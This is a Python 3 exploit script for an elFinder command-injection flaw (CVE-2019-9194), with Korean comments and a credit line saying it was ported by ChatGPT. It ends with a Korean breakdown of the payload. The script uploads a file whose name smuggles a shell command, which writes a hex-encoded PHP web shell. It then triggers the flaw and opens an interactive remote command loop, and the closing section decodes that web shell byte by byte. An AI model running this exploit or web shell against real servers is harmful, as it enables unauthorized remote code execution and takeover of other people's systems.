#!/usr/bin/env python3 # ← [변경] python3로 실행되게 설정 (shebang)
"""
Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
CVE: CVE-2019-9194
Original Script Author: @q3rv0
Python3 Port by: ChatGPT
Usage:
python3 46481_py3.py http://target/elFinder
"""
import requests
import json
import sys
import urllib.parse # ← [추가] URL 인코딩 처리를 위해 필요
# 공격 페이로드: 파일 이름에 명령어 주입; PHP 웹쉘을 16진수 → 텍스트로 변환해 SecSignal.php 생성
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
# 인자 갯수 확인 (정확히 URL 1개 필요)
if len(sys.argv) != 2:
print("Usage: python3 exploit.py [URL]") # 사용법 출력
sys.exit(0)
def upload(url, payload):
# 파일 업로드 함수: 악성 페이로드를 포함한 이미지 업로드 시도
try:
# SecSignal.jpg 파일을 바이너리 모드로 안전하게 열기
with open("SecSignal.jpg", "rb") as f:
# 업로드 시 'upload[]' 필드에 payload를 파일 이름으로 하여 이미지 첨부
files = {'upload[]': (payload, f)}
# POST 요청에 필요한 데이터 (reqid 등은 원본 스크립트 고정값)
data = {
"reqid": "1693222c439f4",
"cmd": "upload",
"target": "l1_Lw",
"mtime[]": "1497726174"
}
# PHP 커넥터로 POST 요청 전송 (파일 업로드 수행)
r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
# 응답 JSON 파싱
j = json.loads(r.text)
# 업로드 된 파일의 고유 해시값 반환 (이후 명령 수행에 필요)
return j['added'][0]['hash']
except FileNotFoundError:
# SecSignal.jpg 파일이 없으면 오류 출력 후 종료
print("[!] Error: SecSignal.jpg not found.")
sys.exit(1)
def imgRotate(url, hash):
# 업로드된 파일을 이용해 취약점 실행 (명령어 삽입이 일어나는 요청)
endpoint = f"{url}/php/connector.minimal.php" # 공격할 PHP 커넥터 주소
params = {
"target": hash, # 업로드된 파일 식별자
"width": "539", # 이미지 회전 가로 크기
"height": "960", # 이미지 회전 세로 크기
"degree": "180", # 회전 각도 (여기서는 180도)
"quality": "100", # 이미지 품질
"bg": "", # 배경색 없음
"mode": "rotate", # 명령: 회전 (resize 모드 내 회전)
"cmd": "resize", # 실행 명령
"reqid": "169323550af10c" # 요청 고유 ID (임의 값)
}
# GET 요청 보내서 이미지 조작 명령 실행 → 이 과정에서 명령어가 수행됨
r = requests.get(endpoint, params=params)
return r.text
def shell(url):
# 웹쉘 접속 및 명령 수행 함수
shell_url = f"{url}/php/SecSignal.php" # 웹쉘 주소 (페이로드로 생성된 파일)
r = requests.get(shell_url)
if r.status_code == 200:
print("[+] Pwned! :)") # 웹쉘이 성공적으로 생성됨을 알림
print("[+] Getting the shell...")
while True:
try:
# 사용자로부터 실행할 쉘 명령 입력 받음
cmd = input("$ ")
# 명령어에 공백, 특수문자 등이 있으면 URL 인코딩 수행 (안전하게 요청 전송하기 위해)
encoded_cmd = urllib.parse.quote(cmd)
# 웹쉘에 명령어 쿼리 파라미터로 전송
r = requests.get(f"{shell_url}?c={encoded_cmd}")
# 실행 결과 출력
print(r.text)
except KeyboardInterrupt:
# Ctrl+C로 쉘 종료 시 종료 메시지 출력 후 프로그램 종료
print("\nBye kaker!")
sys.exit(0)
else:
# 웹쉘 페이지가 없거나 접근 불가 시 취약하지 않음을 알림
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
# 인자로 받은 URL 끝에 '/'가 붙어있으면 제거 (URL 경로 중복 방지)
url = sys.argv[1].rstrip('/')
print("[*] Uploading the malicious image...")
# 페이로드를 포함한 이미지 업로드
hash = upload(url, payload)
print("[*] Running the payload...")
# 업로드된 파일을 이용해 명령어 실행 (웹쉘 생성)
imgRotate(url, hash)
# 생성된 웹쉘 접속 후 명령 수행 대기
shell(url)
if __name__ == "__main__":
main()
SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg
SecSignal.jpg;
→ 업로드할 파일 이름에 명령어가 섞여 있음. 세미콜론(;)으로 명령어 구분.
echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php
→ 16진수로 인코딩된 문자열을 echo하고,
→ xxd -r -p 명령어를 써서 16진수를 바이너리(문자열)로 복원(역변환),
→ 그 결과를 SecSignal.php 파일로 저장
echo SecSignal.jpg
→ 단순히 SecSignal.jpg 문자열을 출력 (아마 명령어 실행을 끝내는 역할)
3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a
16진수 2자리씩 끊어서 ASCII 문자로 변환하면:
| Hex | ASCII | 의미 |
|---|---|---|
| 3c | < | PHP 시작 태그 < |
| 3f | ? | PHP 시작 태그 ? |
| 70 | p | 문자 p |
| 68 | h | 문자 h |
| 70 | p | 문자 p |
| 20 | (space) | 공백 |
| 73 | s | 문자 s |
| 79 | y | 문자 y |
| 73 | s | 문자 s |
| 74 | t | 문자 t |
| 65 | e | 문자 e |
| 6d | m | 문자 m |
| 28 | ( | 괄호 시작 |
| 24 | $ | 변수 시작 |
| 47 | G | 문자 G |
| 45 | E | 문자 E |
| 54 | T | 문자 T |
| 5b | [ | 대괄호 시작 |
| 22 | " | 큰따옴표 |
| 63 | c | 문자 c |
| 22 | " | 큰따옴표 |
| 5d | ] | 대괄호 닫기 |
| 29 | ) | 괄호 닫기 |
| 3b | ; | 문장 종료 |
| 20 | (space) | 공백 |
| 3f | ? | PHP 닫기 태그 |
| 3e | > | PHP 닫기 태그 |
| 0a | (LF) | 줄바꿈 |
<?php system($_GET["c"]); ?>
<?php system($_GET["c"]); ?>
c 값을 받아서 system() 함수로 시스템 명령어를 실행하는 웹쉘 코드입니다.SecSignal.php 파일이 생성되면, URL 쿼리로 ?c=명령어를 넘겨서 원격 명령 실행이 가능해집니다.xxd -r -p 로 디코딩해 SecSignal.php 파일로 생성합니다.